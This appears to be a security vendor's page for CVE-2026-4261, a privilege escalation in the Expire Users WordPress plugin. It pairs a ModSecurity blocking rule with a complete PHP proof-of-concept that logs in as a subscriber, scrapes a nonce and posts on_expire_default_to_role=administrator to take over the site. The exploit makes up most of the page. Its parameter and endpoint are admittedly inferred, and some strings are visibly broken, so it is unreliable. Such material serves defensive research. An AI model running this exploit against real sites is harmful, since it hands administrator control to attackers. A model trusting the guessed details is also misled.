CVE-2026-4261: Expire Users <= 1.2.2 – Authenticated (Subscriber+) Privilege Escalation to Administrator via save_extra_user_profile_fields (expire-users)

# Atomic Edge WAF Rule - CVE-2026-4261 (metadata-based)
# This rule blocks exploitation attempts targeting the missing authorization check in the Expire Users plugin.
# It matches POST requests to the user profile update endpoint containing the specific vulnerable parameter.
SecRule REQUEST_URI "@streq /wp-admin/profile.php" 
  "id:10004261,phase:2,deny,status:403,chain,msg:'CVE-2026-4261: Expire Users Privilege Escalation Attempt',severity:'CRITICAL',tag:'CVE-2026-4261',tag:'WordPress',tag:'Plugin',tag:'Expire-Users'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule ARGS_POST:on_expire_default_to_role "@streq administrator" "chain"
      SecRule ARGS_POST:on_expire_default_to_role "@rx ^(administrator|editor|author|contributor|subscriber)$" "t:lowercase,setvar:'tx.cve_2026_4261_block=1'"

# Optional: Also block AJAX-based exploitation if the plugin uses admin-ajax.php.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:10014261,phase:2,deny,status:403,chain,msg:'CVE-2026-4261: Expire Users AJAX Privilege Escalation Attempt',severity:'CRITICAL',tag:'CVE-2026-4261',tag:'WordPress',tag:'Plugin',tag:'Expire-Users'"
  SecRule ARGS_POST:action "@rx ^(wp_ajax_)?save_extra_user_profile_fields$" "chain"
    SecRule ARGS_POST:on_expire_default_to_role "@streq administrator" "chain"
      SecRule ARGS_POST:on_expire_default_to_role "@rx ^(administrator|editor|author|contributor|subscriber)$" "t:lowercase"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4261 - Expire Users <= 1.2.2 - Authenticated (Subscriber+) Privilege Escalation to Administrator via save_extra_user_profile_fields

<?php
/**
 * Proof-of-Concept for CVE-2026-4261.
 * ASSUMPTIONS: The vulnerable function hooks into the standard WordPress user profile update.
 * The attacker must have valid Subscriber (or higher) credentials and an active session.
 */

$target_url = 'https://vulnerable-site.com'; // CHANGE THIS
$username = 'attacker'; // CHANGE THIS
$password = 'password'; // CHANGE THIS

// Step 1: Authenticate and obtain session cookies.
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($login_data),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => 'cookies.txt', // Save session cookies
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false, // For testing only
    CURLOPT_SSL_VERIFYHOST => false
]);

$response = curl_exec($ch);

// Step 2: Extract the current user's ID and a profile update nonce (if required).
// This PoC assumes the attack targets the attacker's own profile via /wp-admin/profile.php.
$profile_url = $target_url . '/wp-admin/profile.php';
curl_setopt_array($ch, [
    CURLOPT_URL => $profile_url,
    CURLOPT_HTTPGET => true,
    CURLOPT_POST => false
]);

$profile_html = curl_exec($ch);

// Attempt to find a nonce for profile update (common pattern).
// The nonce field name is inferred; actual implementation may vary.
$nonce_pattern = '/name="_wpnonce" value="([a-f0-9]+)"/';
preg_match($nonce_pattern, $profile_html, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';

// Step 3: Craft the privilege escalation payload.
// The vulnerable parameter is 'on_expire_default_to_role' based on the CVE description.
$exploit_url = $target_url . '/wp-admin/profile.php';
$exploit_data = [
    'on_expire_default_to_role' => 'administrator', // Target role
    'submit' => 'Update Profile',
    '_wpnonce' => $nonce,
    '_wp_http_referer' => '/wp-admin/profile.php'
];

// Add other default profile fields to mimic a legitimate request.
$exploit_data['email'] = $username . '@example.com';
$exploit_data['first_name'] = 'Exploit';
$exploit_data['last_name'] = 'Test';

curl_setopt_array($ch, [
    CURLOPT_URL => $exploit_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($exploit_data)
]);

$exploit_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Step 4: Verify success by checking if the user now has admin capabilities.
// A simple check: access the WordPress users list page, which requires 'edit_users' capability.
$admin_test_url = $target_url . '/wp-admin/users.php';
curl_setopt_array($ch, [
    CURLOPT_URL => $admin_test_url,
    CURLOPT_HTTPGET => true,
    CURLOPT_POST => false
]);

$admin_test_response = curl_exec($ch);
curl_close($ch);

// Check for indicators of admin access.
if (strpos($admin_test_response, 'Add New User') !== false || strpos($admin_test_response, 'users-listing') !== false) {
    echo "[SUCCESS] Privilege escalation likely successful. Admin page accessed.n";
} else {
    echo "[INFO] Exploit sent. Manual verification required. HTTP Code: $http_coden";
    echo "Note: The exploit may target a different endpoint (e.g., admin-ajax.php).n";
}

unlink('cookies.txt'); // Cleanup
?>